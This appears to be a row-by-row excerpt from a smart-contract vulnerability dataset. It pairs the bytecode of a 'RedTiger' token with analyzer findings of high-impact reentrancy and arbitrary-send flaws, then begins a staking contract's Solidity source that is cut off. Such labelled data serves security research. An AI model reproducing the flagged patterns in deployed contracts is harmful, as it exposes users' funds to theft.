b50610312610982565b005b34801561032057600080fd5b5061033b60048036038101906103369190612861565b6109f4565b6040516103489190612fc0565b60405180910390f35b34801561035d57600080fd5b50610366610a45565b005b34801561037457600080fd5b5061037d610b98565b60405161038a9190612d5e565b60405180910390f35b34801561039f57600080fd5b506103a8610bc1565b6040516103b59190612e1e565b60405180910390f35b3480156103ca57600080fd5b506103e560048036038101906103e0919061294e565b610bfe565b6040516103f29190612e03565b60405180910390f35b34801561040757600080fd5b50610422600480360381019061041d919061298e565b610c1c565b005b34801561043057600080fd5b50610439610d46565b005b34801561044757600080fd5b50610450610dc0565b005b34801561045e57600080fd5b50610467610e72565b005b34801561047557600080fd5b50610490600480360381019061048b9190612a31565b611156565b005b34801561049e57600080fd5b506104b960048036038101906104b491906128bb565b61129f565b6040516104c69190612fc0565b60405180910390f35b60606040518060400160405280600881526020017f5265645469676572000000000000000000000000000000000000000000000000815250905090565b6000610520610519611326565b848461132e565b6001905092915050565b6000683635c9adc5dea00000905090565b610543611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c790612f20565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b60006105fa8484846114f9565b6106bb84610606611326565b6106b68560405180606001604052806028815260200161373c60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061066c611326565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc69092919063ffffffff16565b61132e565b600190509392505050565b6106ce611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075290612f20565b60405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107c7611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610854576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084b90612f20565b60405180910390fd5b600061085e610b98565b90508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f193505050501580156108a6573d6000803e3d6000fd5b5050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108d8611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c90612f20565b60405180910390fd5b80601260176101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c3611326565b73ffffffffffffffffffffffffffffffffffffffff16146109e357600080fd5b60004790506109f181611c2a565b50565b6000610a3e600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d25565b9050919050565b610a4d611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad190612f20565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f5265645469676572000000000000000000000000000000000000000000000000815250905090565b6000610c12610c0b611326565b84846114f9565b6001905092915050565b610c24611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca890612f20565b60405180910390fd5b60005b8151811015610d4257600160076000848481518110610cd657610cd561337d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3a906132d6565b915050610cb4565b5050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d87611326565b73ffffffffffffffffffffffffffffffffffffffff1614610da757600080fd5b6000610db2306109f4565b9050610dbd81611d93565b50565b610dc8611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4c90612f20565b60405180910390fd5b6001601260146101000a81548160ff021916908315150217905550565b610e7a611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610efe90612f20565b60405180910390fd5b601260149054906101000a900460ff1615610f57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4e90612fa0565b60405180910390fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fa0306109f4565b600080610fab610b98565b426040518863ffffffff1660e01b8152600401610fcd96959493929190612da2565b6060604051808303818588803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061101f9190612a5e565b5050506001601260166101000a81548160ff0219169083151502179055506001601260176101000a81548160ff021916908315150217905550611062600a611156565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611101929190612d79565b602060405180830381600087803b15801561111b57600080fd5b505af115801561112f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111539190612a04565b50565b61115e611326565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111e290612f20565b60405180910390fd5b6000811161122e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122590612ec0565b60405180910390fd5b61125d606461124f83683635c9adc5dea0000061201b90919063ffffffff16565b61209690919063ffffffff16565b6013819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6013546040516112949190612fc0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561139e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139590612f80565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561140e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140590612e80565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114ec9190612fc0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611569576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156090612f60565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d090612e40565b60405180910390fd5b6000811161161c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161390612f40565b60405180910390fd5b6004600b819055506006600c819055506000611636610b98565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156116a45750611674610b98565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b0457600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561174d5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61175657600080fd5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156118015750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156118575750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561186f5750601260179054906101000a900460ff165b156119235760135482111561188357600080fd5b42600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106118ce57600080fd5b601e426118db91906130f6565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600190505b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119ce5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a245750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a3e576004600b819055506006600c81905550600190505b6000611a49306109f4565b9050601260159054906101000a900460ff16158015611ab65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611ace5750601260169054906101000a900460ff165b8015611ada5750600081115b15611b0257611ae881611d93565b60004790506000811115611b0057611aff47611c2a565b5b505b505b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b5b5750815b90508115611bb357601260149054906101000a900460ff16611bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba990612ee0565b60405180910390fd5b5b611bbf858585846120e0565b5050505050565b6000838311158290611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c059190612e1e565b60405180910390fd5b5060008385611c1d91906131d7565b9050809150509392505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c7a60028461209690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ca5573d6000803e3d6000fd5b50601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf660028461209690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d21573d6000803e3d6000fd5b5050565b6000600954821115611d6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6390612e60565b60405180910390fd5b6000611d7661210d565b9050611d8b818461209690919063ffffffff16565b915050919050565b6001601260156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcb57611dca6133ac565b5b604051908082528060200260200182016040528015611df95781602001602082028036833780820191505090505b5090503081600081518110611e1157611e1061337d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eb357600080fd5b505afa158015611ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611eeb919061288e565b81600181518110611eff57611efe61337d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f6630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461132e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611fca959493929190612fdb565b600060405180830381600087803b158015611fe457600080fd5b505af1158015611ff8573d6000803e3d6000fd5b50505050506000601260156101000a81548160ff02191690831515021790555050565b60008083141561202e5760009050612090565b6000828461203c919061317d565b905082848261204b919061314c565b1461208b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208290612f00565b60405180910390fd5b809150505b92915050565b60006120d883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612138565b905092915050565b806120ee576120ed61219b565b5b6120f98484846121de565b80612107576121066123a9565b5b50505050565b600080600061211a6123bd565b91509150612131818361209690919063ffffffff16565b9250505090565b6000808311829061217f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121769190612e1e565b60405180910390fd5b506000838561218e919061314c565b9050809150509392505050565b6000600b541480156121af57506000600c54145b156121b9576121dc565b600b54600d81905550600c54600e819055506000600b819055506000600c819055505b565b6000806000806000806121f08761241f565b95509550955095509550955061224e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461248790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061232f8161252f565b61233984836125ec565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123969190612fc0565b60405180910390a3505050505050505050565b600d54600b81905550600e54600c81905550565b600080600060095490506000683635c9adc5dea0000090506123f3683635c9adc5dea0000060095461209690919063ffffffff16565b82101561241257600954683635c9adc5dea0000093509350505061241b565b81819350935050505b9091565b600080600080600080600080600061243c8a600b54600c54612626565b925092509250600061244c61210d565b9050600080600061245f8e8787876126bc565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124c983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611bc6565b905092915050565b60008082846124e091906130f6565b905083811015612525576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161251c90612ea0565b60405180910390fd5b8091505092915050565b600061253961210d565b90506000612550828461201b90919063ffffffff16565b90506125a481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126018260095461248790919063ffffffff16565b60098190555061261c81600a546124d190919063ffffffff16565b600a819055505050565b6000806000806126526064612644888a61201b90919063ffffffff16565b61209690919063ffffffff16565b9050600061267c606461266e888b61201b90919063ffffffff16565b61209690919063ffffffff16565b905060006126a582612697858c61248790919063ffffffff16565b61248790919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126d5858961201b90919063ffffffff16565b905060006126ec868961201b90919063ffffffff16565b90506000612703878961201b90919063ffffffff16565b9050600061272c8261271e858761248790919063ffffffff16565b61248790919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061275861275384613075565b613050565b9050808382526020820190508285602086028201111561277b5761277a6133e0565b5b60005b858110156127ab578161279188826127b5565b84526020840193506020830192505060018101905061277e565b5050509392505050565b6000813590506127c4816136f6565b92915050565b6000815190506127d9816136f6565b92915050565b600082601f8301126127f4576127f36133db565b5b8135612804848260208601612745565b91505092915050565b60008135905061281c8161370d565b92915050565b6000815190506128318161370d565b92915050565b60008135905061284681613724565b92915050565b60008151905061285b81613724565b92915050565b600060208284031215612877576128766133ea565b5b6000612885848285016127b5565b91505092915050565b6000602082840312156128a4576128a36133ea565b5b60006128b2848285016127ca565b91505092915050565b600080604083850312156128d2576128d16133ea565b5b60006128e0858286016127b5565b92505060206128f1858286016127b5565b9150509250929050565b600080600060608486031215612914576129136133ea565b5b6000612922868287016127b5565b9350506020612933868287016127b5565b925050604061294486828701612837565b9150509250925092565b60008060408385031215612965576129646133ea565b5b6000612973858286016127b5565b925050602061298485828601612837565b9150509250929050565b6000602082840312156129a4576129a36133ea565b5b600082013567ffffffffffffffff8111156129c2576129c16133e5565b5b6129ce848285016127df565b91505092915050565b6000602082840312156129ed576129ec6133ea565b5b60006129fb8482850161280d565b91505092915050565b600060208284031215612a1a57612a196133ea565b5b6000612a2884828501612822565b91505092915050565b600060208284031215612a4757612a466133ea565b5b6000612a5584828501612837565b91505092915050565b600080600060608486031215612a7757612a766133ea565b5b6000612a858682870161284c565b9350506020612a968682870161284c565b9250506040612aa78682870161284c565b9150509250925092565b6000612abd8383612ac9565b60208301905092915050565b612ad28161320b565b82525050565b612ae18161320b565b82525050565b6000612af2826130b1565b612afc81856130d4565b9350612b07836130a1565b8060005b83811015612b38578151612b1f8882612ab1565b9750612b2a836130c7565b925050600181019050612b0b565b5085935050505092915050565b612b4e8161321d565b82525050565b612b5d81613260565b82525050565b6000612b6e826130bc565b612b7881856130e5565b9350612b88818560208601613272565b612b91816133ef565b840191505092915050565b6000612ba96023836130e5565b9150612bb482613400565b604082019050919050565b6000612bcc602a836130e5565b9150612bd78261344f565b604082019050919050565b6000612bef6022836130e5565b9150612bfa8261349e565b604082019050919050565b6000612c12601b836130e5565b9150612c1d826134ed565b602082019050919050565b6000612c35601d836130e5565b9150612c4082613516565b602082019050919050565b6000612c586013836130e5565b9150612c638261353f565b602082019050919050565b6000612c7b6021836130e5565b9150612c8682613568565b604082019050919050565b6000612c9e6020836130e5565b9150612ca9826135b7565b602082019050919050565b6000612cc16029836130e5565b9150612ccc826135e0565b604082019050919050565b6000612ce46025836130e5565b9150612cef8261362f565b604082019050919050565b6000612d076024836130e5565b9150612d128261367e565b604082019050919050565b6000612d2a6017836130e5565b9150612d35826136cd565b602082019050919050565b612d4981613249565b82525050565b612d5881613253565b82525050565b6000602082019050612d736000830184612ad8565b92915050565b6000604082019050612d8e6000830185612ad8565b612d9b6020830184612d40565b9392505050565b600060c082019050612db76000830189612ad8565b612dc46020830188612d40565b612dd16040830187612b54565b612dde6060830186612b54565b612deb6080830185612ad8565b612df860a0830184612d40565b979650505050505050565b6000602082019050612e186000830184612b45565b92915050565b60006020820190508181036000830152612e388184612b63565b905092915050565b60006020820190508181036000830152612e5981612b9c565b9050919050565b60006020820190508181036000830152612e7981612bbf565b9050919050565b60006020820190508181036000830152612e9981612be2565b9050919050565b60006020820190508181036000830152612eb981612c05565b9050919050565b60006020820190508181036000830152612ed981612c28565b9050919050565b60006020820190508181036000830152612ef981612c4b565b9050919050565b60006020820190508181036000830152612f1981612c6e565b9050919050565b60006020820190508181036000830152612f3981612c91565b9050919050565b60006020820190508181036000830152612f5981612cb4565b9050919050565b60006020820190508181036000830152612f7981612cd7565b9050919050565b60006020820190508181036000830152612f9981612cfa565b9050919050565b60006020820190508181036000830152612fb981612d1d565b9050919050565b6000602082019050612fd56000830184612d40565b92915050565b600060a082019050612ff06000830188612d40565b612ffd6020830187612b54565b818103604083015261300f8186612ae7565b905061301e6060830185612ad8565b61302b6080830184612d40565b9695505050505050565b600060208201905061304a6000830184612d4f565b92915050565b600061305a61306b565b905061306682826132a5565b919050565b6000604051905090565b600067ffffffffffffffff8211156130905761308f6133ac565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061310182613249565b915061310c83613249565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131415761314061331f565b5b828201905092915050565b600061315782613249565b915061316283613249565b9250826131725761317161334e565b5b828204905092915050565b600061318882613249565b915061319383613249565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131cc576131cb61331f565b5b828202905092915050565b60006131e282613249565b91506131ed83613249565b925082821015613200576131ff61331f565b5b828203905092915050565b600061321682613229565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061326b82613249565b9050919050565b60005b83811015613290578082015181840152602081019050613275565b8381111561329f576000848401525b50505050565b6132ae826133ef565b810181811067ffffffffffffffff821117156132cd576132cc6133ac565b5b80604052505050565b60006132e182613249565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133145761331361331f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f74726164696e67206973206e6f74206f70656e00000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136ff8161320b565b811461370a57600080fd5b50565b6137168161321d565b811461372157600080fd5b50565b61372d81613249565b811461373857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220996f5778b5c1b554d90d18bf63ecdf0e7d1785f00ed8b8e4ee6c26e07024856264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,784
0xff2d0b3ae3cf67f6bf8e0f0e973c563aaf13c9f4
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); function mintStakeFarmSupply(address to,uint256 _amount) external returns(uint256); } contract Ownable { modifier onlyOwner() { require(msg.sender==owner,"only owner allowed"); _; } event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); address payable owner; address payable newOwner; function changeOwner(address payable _newOwner) public onlyOwner { 